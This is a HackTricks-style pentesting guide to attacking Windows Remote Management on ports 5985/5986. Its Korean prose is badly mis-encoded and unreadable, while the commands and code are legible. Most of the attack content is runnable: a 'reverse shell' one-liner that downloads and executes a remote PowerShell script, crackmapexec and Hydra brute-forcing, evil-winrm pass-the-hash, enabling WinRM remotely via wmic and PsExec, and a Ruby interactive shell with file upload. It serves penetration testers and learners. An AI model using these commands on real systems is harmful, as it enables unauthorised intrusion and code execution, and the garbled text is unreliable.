# 5985,5986 - Pentesting WinRM
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## WinRM
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)๋ **Microsoft**์์ **Windows ์์คํ
์ ์๊ฒฉ ๊ด๋ฆฌ๋ฅผ ๊ฐ๋ฅํ๊ฒ ํ๋ ํ๋กํ ์ฝ**๋ก ๊ฐ์กฐ๋ฉ๋๋ค. HTTP(S)๋ฅผ ํตํด SOAP๋ฅผ ํ์ฉํ์ฌ ์๋ํฉ๋๋ค. ๋ณธ์ง์ ์ผ๋ก WMI์ ์ํด ๊ตฌ๋๋๋ฉฐ, WMI ์์
์ ์ํ HTTP ๊ธฐ๋ฐ ์ธํฐํ์ด์ค๋ก ๋ํ๋ฉ๋๋ค.
๊ธฐ๊ณ์ WinRM์ด ์กด์ฌํ๋ฉด PowerShell์ ํตํด ๊ฐ๋จํ ์๊ฒฉ ๊ด๋ฆฌ๊ฐ ๊ฐ๋ฅํ๋ฉฐ, ์ด๋ ๋ค๋ฅธ ์ด์ ์ฒด์ ์ SSH์ ์ ์ฌํฉ๋๋ค. WinRM์ด ์๋ ์ค์ธ์ง ํ์ธํ๋ ค๋ฉด ํน์ ํฌํธ์ ๊ฐ๋ฐฉ ์ฌ๋ถ๋ฅผ ํ์ธํ๋ ๊ฒ์ด ์ข์ต๋๋ค:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
์ ๋ชฉ๋ก์์ ์ด๋ฆฐ ํฌํธ๋ WinRM์ด ์ค์ ๋์์์ ๋ํ๋ด๋ฉฐ, ์๊ฒฉ ์ธ์
์ ์์ํ ์ ์๋ ์๋๋ฅผ ํ์ฉํฉ๋๋ค.
### **WinRM ์ธ์
์์ํ๊ธฐ**
PowerShell์ WinRM์ ๋ง๊ฒ ๊ตฌ์ฑํ๊ธฐ ์ํด Microsoft์ `Enable-PSRemoting` cmdlet์ด ์ฌ์ฉ๋๋ฉฐ, ์ด๋ ์ปดํจํฐ๊ฐ ์๊ฒฉ PowerShell ๋ช
๋ น์ ์๋ฝํ๋๋ก ์ค์ ํฉ๋๋ค. ๊ถํ์ด ์์น๋ PowerShell ์ ๊ทผ์ ํตํด ๋ค์ ๋ช
๋ น์ ์คํํ์ฌ ์ด ๊ธฐ๋ฅ์ ํ์ฑํํ๊ณ ์ด๋ค ํธ์คํธ๋ ์ ๋ขฐํ ์ ์๋๋ก ์ง์ ํ ์ ์์ต๋๋ค:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
์ด ์ ๊ทผ ๋ฐฉ์์ `trustedhosts` ๊ตฌ์ฑ์ ์์ผ๋์นด๋๋ฅผ ์ถ๊ฐํ๋ ๊ฒ์ผ๋ก, ๊ทธ ์๋ฏธ ๋๋ฌธ์ ์ ์คํ ๊ณ ๋ ค๊ฐ ํ์ํ ๋จ๊ณ์
๋๋ค. ๋ํ ๊ณต๊ฒฉ์์ ๋จธ์ ์์ ๋คํธ์ํฌ ์ ํ์ "Public"์์ "Work"๋ก ๋ณ๊ฒฝํด์ผ ํ ์๋ ์์์ ์ธ๊ธํฉ๋๋ค.
๊ฒ๋ค๊ฐ, WinRM์ ๋ค์๊ณผ ๊ฐ์ด `wmic` ๋ช
๋ น์ ์ฌ์ฉํ์ฌ **์๊ฒฉ์ผ๋ก ํ์ฑํ**ํ ์ ์์ต๋๋ค:
```powershell
wmic /node: process call create "powershell enable-psremoting -force"
```
์ด ๋ฐฉ๋ฒ์ ์๊ฒฉ์ผ๋ก WinRM์ ์ค์ ํ ์ ์๊ฒ ํ์ฌ, ๋ฉ๋ฆฌ์ Windows ๋จธ์ ์ ๊ด๋ฆฌํ๋ ์ ์ฐ์ฑ์ ํฅ์์ํต๋๋ค.
### ๊ตฌ์ฑ ํ์ธ
๊ณต๊ฒฉ ๋จธ์ ์ ์ค์ ์ ํ์ธํ๊ธฐ ์ํด `Test-WSMan` ๋ช
๋ น์ ์ฌ์ฉํ์ฌ ๋์์ด WinRM์ด ์ ๋๋ก ๊ตฌ์ฑ๋์๋์ง ํ์ธํฉ๋๋ค. ์ด ๋ช
๋ น์ ์คํํ๋ฉด ํ๋กํ ์ฝ ๋ฒ์ ๋ฐ wsmid์ ๋ํ ์ธ๋ถ์ ๋ณด๋ฅผ ์์ ํ๊ฒ ๋๋ฉฐ, ์ด๋ ์ฑ๊ณต์ ์ธ ๊ตฌ์ฑ์ ๋ํ๋
๋๋ค. ์๋๋ ๊ตฌ์ฑ๋ ๋์๊ณผ ๊ตฌ์ฑ๋์ง ์์ ๋์์ ์์ ์ถ๋ ฅ ์์์
๋๋ค:
* **์ ์์ ์ผ๋ก** ๊ตฌ์ฑ๋ ๋์์ ๊ฒฝ์ฐ, ์ถ๋ ฅ์ ๋ค์๊ณผ ์ ์ฌํ๊ฒ ๋ํ๋ฉ๋๋ค:
```bash
Test-WSMan
```
์๋ต์๋ ํ๋กํ ์ฝ ๋ฒ์ ๊ณผ wsmid์ ๋ํ ์ ๋ณด๊ฐ ํฌํจ๋์ด์ผ ํ๋ฉฐ, ์ด๋ WinRM์ด ์ฌ๋ฐ๋ฅด๊ฒ ์ค์ ๋์์์ ๋ํ๋
๋๋ค.
![](<../.gitbook/assets/image (582).png>)
* ๋ฐ๋๋ก, WinRM์ด ๊ตฌ์ฑ๋์ง ์์ ๋์์ ์ํด์๋ ๊ทธ๋ฌํ ์ธ๋ถ ์ ๋ณด๊ฐ ์์ผ๋ฉฐ, ์ด๋ ์ ์ ํ WinRM ์ค์ ์ด ์์์ ๊ฐ์กฐํฉ๋๋ค.
![](<../.gitbook/assets/image (458).png>)
### ๋ช
๋ น ์คํ
๋์ ๋จธ์ ์์ `ipconfig`๋ฅผ ์๊ฒฉ์ผ๋ก ์คํํ๊ณ ๊ทธ ์ถ๋ ฅ์ ๋ณด๋ ค๋ฉด ๋ค์์ ์ํํ์ญ์์ค:
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../.gitbook/assets/image (151).png>)
ํ์ฌ PS ์ฝ์์ **๋ช
๋ น์ ์คํํ ์ ์์ต๋๋ค** _**Invoke-Command**_๋ฅผ ํตํด. ๋ก์ปฌ์ _**enumeration**_์ด๋ผ๋ ํจ์๊ฐ ์๊ณ ์ด๋ฅผ **์๊ฒฉ ์ปดํจํฐ์์ ์คํํ๊ณ ์ถ๋ค๋ฉด**, ๋ค์๊ณผ ๊ฐ์ด ํ ์ ์์ต๋๋ค:
```powershell
Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### ์คํฌ๋ฆฝํธ ์คํ
```powershell
Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### ๋ฆฌ๋ฒ์ค ์
ธ ์ป๊ธฐ
```powershell
Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### PS ์ธ์
์ป๊ธฐ
์ธํฐ๋ํฐ๋ธ PowerShell ์
ธ์ ์ป์ผ๋ ค๋ฉด `Enter-PSSession`์ ์ฌ์ฉํ์ธ์:
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (1009).png>)
**์ธ์
์ "ํฌ์์" ๋ด๋ถ์ ์๋ก์ด ํ๋ก์ธ์ค(wsmprovhost)์์ ์คํ๋ฉ๋๋ค.**
### **WinRM ๊ฐ์ ์ด๊ธฐ**
PS ์๊ฒฉ ๋ฐ WinRM์ ์ฌ์ฉํ๋ ค๊ณ ํ์ง๋ง ์ปดํจํฐ๊ฐ ๊ตฌ์ฑ๋์ง ์์ ๊ฒฝ์ฐ, ๋ค์์ ์ฌ์ฉํ์ฌ ํ์ฑํํ ์ ์์ต๋๋ค:
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### Saving and Restoring sessions
์ด **์๋ํ์ง ์์ต๋๋ค** ๋ง์ฝ **์ธ์ด**๊ฐ ์๊ฒฉ ์ปดํจํฐ์์ **์ ํ๋์ด** ์๋ค๋ฉด.
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
์ด ์ธ์
๋ด์์ _Invoke-Command_๋ฅผ ์ฌ์ฉํ์ฌ PS ์คํฌ๋ฆฝํธ๋ฅผ ๋ก๋ํ ์ ์์ต๋๋ค.
```powershell
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### Errors
๋ค์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ฉด:
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
ํด๋ผ์ด์ธํธ์์ ์๋ํ์ญ์์ค (์ ๋ณด๋ [์ฌ๊ธฐ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)์์ ํ์ธ):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
๊ฒฝํ์ด ํ๋ถํ ํด์ปค ๋ฐ ๋ฒ๊ทธ ๋ฐ์ดํฐ ํํฐ์ ์ํตํ๊ธฐ ์ํด [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ์๋ฒ์ ์ฐธ์ฌํ์ธ์!
**ํดํน ํต์ฐฐ๋ ฅ**\
ํดํน์ ์ค๋ฆด๊ณผ ๋์ ์ ๋ํด ๊น์ด ์๋ ์ฝํ
์ธ ์ ์ฐธ์ฌํ์ธ์.
**์ค์๊ฐ ํดํน ๋ด์ค**\
์ค์๊ฐ ๋ด์ค์ ํต์ฐฐ๋ ฅ์ ํตํด ๋น ๋ฅด๊ฒ ๋ณํํ๋ ํดํน ์ธ๊ณ์ ์ต์ ์ ๋ณด๋ฅผ ์ ์งํ์ธ์.
**์ต์ ๊ณต์ง์ฌํญ**\
์๋ก์ด ๋ฒ๊ทธ ๋ฐ์ดํฐ ์ถ์ ๋ฐ ์ค์ํ ํ๋ซํผ ์
๋ฐ์ดํธ์ ๋ํ ์ ๋ณด๋ฅผ ์ ์งํ์ธ์.
์ค๋ [**Discord**](https://discord.com/invite/N3FrSbmwdy)์์ ์ ํฌ์ ํจ๊ปํ๊ณ ์ต๊ณ ์ ํด์ปค๋ค๊ณผ ํ์
์ ์์ํ์ธ์!
## ๋ฆฌ๋
์ค์์ WinRM ์ฐ๊ฒฐ
### ๋ธ๋ฃจํธ ํฌ์ค
์ฃผ์ํ์ธ์, winrm์ ๋ธ๋ฃจํธ ํฌ์ฑํ๋ฉด ์ฌ์ฉ์๊ฐ ์ฐจ๋จ๋ ์ ์์ต๋๋ค.
```ruby
#Brute force
crackmapexec winrm -d -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm -d -u -p -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm -d -u -H -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### evil-winrm ์ฌ์ฉํ๊ธฐ
```ruby
gem install evil-winrm
```
**๋ฌธ์**๋ฅผ github์์ ์ฝ์ด๋ณด์ธ์: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i /
```
**evil-winrm**๋ฅผ ์ฌ์ฉํ์ฌ **IPv6 ์ฃผ์**์ ์ฐ๊ฒฐํ๋ ค๋ฉด _**/etc/hosts**_์ **๋๋ฉ์ธ ์ด๋ฆ**์ IPv6 ์ฃผ์๋ก ์ค์ ํ๋ ํญ๋ชฉ์ ๋ง๋ค๊ณ ํด๋น ๋๋ฉ์ธ์ ์ฐ๊ฒฐํฉ๋๋ค.
### evil-winrm์ผ๋ก ํด์ ์ ๋ฌํ๊ธฐ
```ruby
evil-winrm -u -H -i
```
![](<../.gitbook/assets/image (680).png>)
### PS-docker ๋จธ์ ์ฌ์ฉํ๊ธฐ
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### ๋ฃจ๋น ์คํฌ๋ฆฝํธ ์ฌ์ฉํ๊ธฐ
**์ฝ๋ ์ถ์ฒ:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/)
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
## Shodan
* `port:5985 Microsoft-HTTPAPI`
## References
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks ์๋ ๋ช
๋ น
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p โMySuperSecr3tPass123!โ
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
๊ฒฝํ์ด ํ๋ถํ ํด์ปค ๋ฐ ๋ฒ๊ทธ ๋ฐ์ดํฐ ํํฐ์ ์ํตํ๊ธฐ ์ํด [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ์๋ฒ์ ์ฐธ์ฌํ์ธ์!
**ํดํน ํต์ฐฐ๋ ฅ**\
ํดํน์ ์ค๋ฆด๊ณผ ๋์ ์ ๋ํด ๊น์ด ์๋ ์ฝํ
์ธ ์ ์ฐธ์ฌํ์ธ์.
**์ค์๊ฐ ํดํน ๋ด์ค**\
์ค์๊ฐ ๋ด์ค์ ํต์ฐฐ๋ ฅ์ ํตํด ๋น ๋ฅด๊ฒ ๋ณํํ๋ ํดํน ์ธ๊ณ์ ์ต์ ์ ๋ณด๋ฅผ ์ ์งํ์ธ์.
**์ต์ ๊ณต์ง์ฌํญ**\
์๋ก์ด ๋ฒ๊ทธ ๋ฐ์ดํฐ ์ถ์ ๋ฐ ์ค์ํ ํ๋ซํผ ์
๋ฐ์ดํธ์ ๋ํ ์ ๋ณด๋ฅผ ์ ์งํ์ธ์.
์ค๋ [**Discord**](https://discord.com/invite/N3FrSbmwdy)์ ์ฐธ์ฌํ์ฌ ์ต๊ณ ์ ํด์ปค๋ค๊ณผ ํ์
์ ์์ํ์ธ์!
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AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง์ํ๊ธฐ
* [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
* ๐ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํ์ ๊ณต์ ํ์ธ์.
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